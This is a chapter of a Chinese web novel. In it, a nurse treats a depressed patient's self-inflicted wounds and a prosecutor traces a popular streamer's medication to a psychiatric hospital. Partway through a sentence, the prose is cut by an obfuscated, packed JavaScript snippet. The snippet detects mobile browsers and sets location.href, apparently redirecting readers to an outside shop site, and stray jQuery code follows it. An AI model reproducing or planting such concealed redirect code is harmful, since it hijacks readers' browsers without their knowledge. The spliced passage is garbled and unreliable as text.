困住刘雨汀的牢笼从不是一朝一夕便铸就而成的,她或许挣扎过,却发现自己求助的惨叫都是别人以为的歌唱。
直到伤痕累累,直到不再能发出声音,才发觉这牢笼的铜墙铁壁是永无止境的。
除了死,毫无生路。
可现在,有人愿意从外面帮她一起凿开这牢笼,那她又有什么理由接着封闭自己呢。
能活,谁不想活。
‘叩、叩……’
“打扰一下,雨汀该吃药了。”
李晓莹的声音从门外响起,顾筱竹蜷了蜷手指,又抽了几张纸擦了擦地面,将刘雨汀扶起到椅子上,在她耳边轻声道:
“下一次,我希望我们是盟友。”
刘雨汀呆坐着,嘴一张一合,却什么都没说,低下了头——
盟友不都是找有用的人么,像她这种人又有什么合作的价值?
李晓莹等了会儿,自己就推门进来了,她的嗅觉很灵敏,立马闻到了扑面而来的消毒水外的丝丝血腥味,敏锐发觉到这个病房里不存实质的凌乱感。
“谁受伤了?”李晓莹走近,将手中的药盘搁置到床头桌上,严肃道:
“不是说有什么问题按呼叫铃么?”
顾筱竹讪笑了一下,刘雨汀的脸和她的手都血呼啦咋的,根本瞒不住。
果然,李晓莹查看了两人的伤势后,整个人都要气炸了,还要遵守医德耐着性子边教育边给这两人消毒处理伤口。
“刘雨汀作为重度抑郁症患者,先前还有过自杀行为,是不可以有任何刺激的。”李晓莹眉头拧在一起,在送顾筱竹出去的长廊里走了很久,才忍不住道:
“原本她经过强化心理治疗后,就可以逐步准备出院的,现在又出现自残与伤人现象,如今又得走一遍加强化巩固治疗流程。”
“哦哦好,那她什么时候能出院您提前联系我,我来接她。”顾筱竹笑着,将自己的名片递了过去,道:
“后续的医药费不用找于琼了,联系我就行。”
“……”李晓莹看着顾筱竹被绷带缠绕着的手指,无语道:
“你联系方式去前台护士那做登记,我这不私加,会违反专业伦理。
况且,我说这些不是管你要医药费,医药费又到不了我手上,我是告诉你,你作为刘雨汀的朋友,下次切不可说些会刺激她的话,很危险,这不是开玩笑的。”
“客观情况下是这样,您是理论专家,但她迟早得面对社会跟现实,谁能护着她在安全屋里一辈子,您说是吧。”顾筱竹将名片塞李晓莹手里道:
“现在社会上能有几个没心理疾病的,下次遇到这种情况,我再联系您。”
前言不搭后语的。
但话中话的意思是:交个朋友。
李晓莹看着眼前这个笑得轻松自信的女人——
分明在半小时前处理伤口时,整个手都在疼得打颤,毕竟是十指连心的痛感,却只体现在于身体本能。
而她那眼尾上翘的眸中始终有一种异常吸引人的、张扬的危险感,神情平淡又运筹帷幄。
李晓莹收起顾筱竹的名片,道:
“抱歉,私加联系方式容易使纯粹的医患关系复杂化,模糊专业边界,您以后有相关问题请去正式的机构平台预约咨询。”
“当然啦,我很有边界感的。”顾筱竹浅浅一笑道:
“但李医生脱下工作服后总归会有普通的人际交往的。”
李晓莹看着顾筱竹远去的背影,插在白大褂口袋里的手揉搓着那张磨砂卡面。
职业原因,是不可能与患者及其家属好友之间建立私人关系,顾筱竹此举纯是她的‘广结善缘’的职业本能。
顾筱竹,或者说于琼,她们的微表情与肢体语言,都告诉她,她们其实原先跟刘雨汀并不熟,甚至根本就不认识。
李晓莹没有拆穿这一点,因为她能看出来,这些姑娘没有恶意,也是真的想帮刘雨汀,不管目的是什么,但那种眼神是说不了谎的。
毕竟刘雨汀住院后,除了刚开始她先公司的同事过来试探刘雨汀会不会对公司产生负面影响、与她的父母给她造成更大的伤害外,就只有这两个姑娘愿意帮助刘雨汀了。
都无法说这是不幸还是万幸,还是不幸中的万幸。
一名抑郁症患者,出院后如果没有外界的支撑与帮助,很容易重蹈覆辙。
如果能遇到愿意给予温暖、希望的人,也不乏是好好活下去的动力。
确实,现在社会上能有几个没心理疾病的,却只有闹到要死要活的地步才被周围人重视,没死成的送医院来,出院复查完后就基本杳无音讯了。
是治好了吗?不是,是知道自己死不成了,而且死的过程太可怖,身体的保护机制不再允许重来,于是那些病人伪装成‘健康人’接着在这病态的社会、活着。
这也是国内对心理健康问题的漠视的一大痛点,更是被污名化、曲解化的重灾区。
李晓莹叹了口气,转身接着投入工作。
早晨七点半闹铃准时响起,苏奕思考人生、起床、上厕所、刷牙洗脸、吃饭吃药、运动,因为直播被封了不能开直播,于是她便拆起了昨天杜文心帮忙领的快递。
一快递箱的药,因为苏奕情况特殊不能出门,所以只能寄了过来。
里面还有一封信,是苏奕的主治医师英浔女士飘逸的字体,列出了所有药物清单后,是常规叮嘱——
「按时吃药,多多运动。」
之前英浔女士还会让她在人少的时候出门走走,接触接触大自然,呼吸新鲜空气。
然后苏奕说看着那些病恹恹的生物在水泥墙瓦中夹缝求生,一吸气全是烟味和车尾气,还得警惕会不会踩到什么不干净的东西,感觉命更苦了之后,英浔女士便再也没说过类似的话。
说什么呢,除非苏奕真能住进人迹罕至的深山老林里去,像她这类人谁不是在灰扑扑的都市生活里靠着手机屏幕的亮光寻求活下去的动力,不是的话也不至于后天得精神类疾病。
苏奕就是这样,手机就是她接触万事万物的媒介,能够隔绝一些不必要的伤害,还能让她感到乐趣,是目前最适宜她的生活方式。
将药分门别类后,苏奕躺回沙发上,翻起了私信消息。
互联网真的是一个很神奇的存在,能让无法迈步者看世界,让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894238|185480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闭塞者能知信息广阔,让天涯者相联系,让无力者可发言,让似人者剥皮显恶心。
很有趣,即使看不见打下那一行行字的人的双眼,却依旧能从字里行间感受到此人的表情、心理如何。
现在的苏奕可不能随意留评论,不然会被瞬间围剿、拉踩、解读,如今的她已经拥有数十万粉丝,平台频频封禁也无法限制她的流量。
这是‘造神’的趋势。
铁打的互联网,流水的‘神’,网友看中了苏奕的神秘的能力与超前的言论,于是不断将她‘神化’,以此满足自己的情绪价值。
对于想吃流量饭的人当然是好事,但自身的能力无法接住这泼天的流量,‘神’陨落得也快。
毕竟‘神’是被人塑造出来的,被跟风的人捧出来的,造神的人享受掌控一个人到神的蜕变,灭神的人也会陶醉于大厦将倾的狂欢。
这就是苏奕在互联网上以自己为棋开展的一场以人生为棋盘的有趣的游戏。
“扬仓老师,麻烦您了。”
扬仓起身让出电脑前的位置,留给杜文心查看。
帮苏奕领快递的时候,杜文心便感觉那快递箱里装的可能是某种药物,那种随着动作摇晃在瓶瓶罐罐里的声音,很快便让她联想起之前苏奕前往安全屋时往行李空隙里扔那些药的场景。
于是她便留了个心眼,把快递单号拍了照。
虽然无意侵犯苏奕的个人隐私,但她这个人过于神秘,连公安机关都无法查明底细,就这种情况下还被权威严谨的检察院想引为编外特别顾问,这属实不符合逻辑常理。
虽然苏奕本人明确拒绝了这个提议,但摸清背景总归对后续的办案查询有利无害。
经过批准后查询,一路追溯到快递虚拟地址背后的寄出源头,是本市一家私立精神病院——
永顺宁福精神康复医院。
“啊,没想到这大名鼎鼎的‘亦大大’居然是个精神病人呢。”扬仓喝了口茶水道:
“现在精神病人都能当网红啦?”
杜文心没有跟扬仓扯闲话的心思,道:
“扬仓老师,可以知道苏奕患的什么病吗?”
“那我这里肯定不能直接查的,你要想查得自身执行法定职责,比如,对已立案侦查的刑事或治安案件进行调查啦,然后要办理合法手续和证件去查。”扬仓将茶杯盖盖起,摇摇头思考道:
“让你带教带你查?我记得他对这人也挺感兴趣的。”
“嗯好,谢谢老师。”杜文心留痕记录后,站起来道:
“齐老师那边我和他说,麻烦您了。”
扬仓将茶杯搁置在桌上点点头,重新回到工位办公。
其实杜文心没打算特地告诉齐潘云,虽然不知道为什么,但齐潘云对苏奕确实有很明显的敌意,所以这事不和他说为妙,但要被他从别的渠道知道了,那她也没办法了。
关于苏奕的事,现在虽然有了点眉目,但她确实没有权限接着查,跟曾杨说这事又有点麻烦了,毕竟现在所有人的重心都在‘鸟类标本贩毒案’上,苏奕的事情肯定得靠后。
走一步看一步罢,说不定哪天就水到渠成了。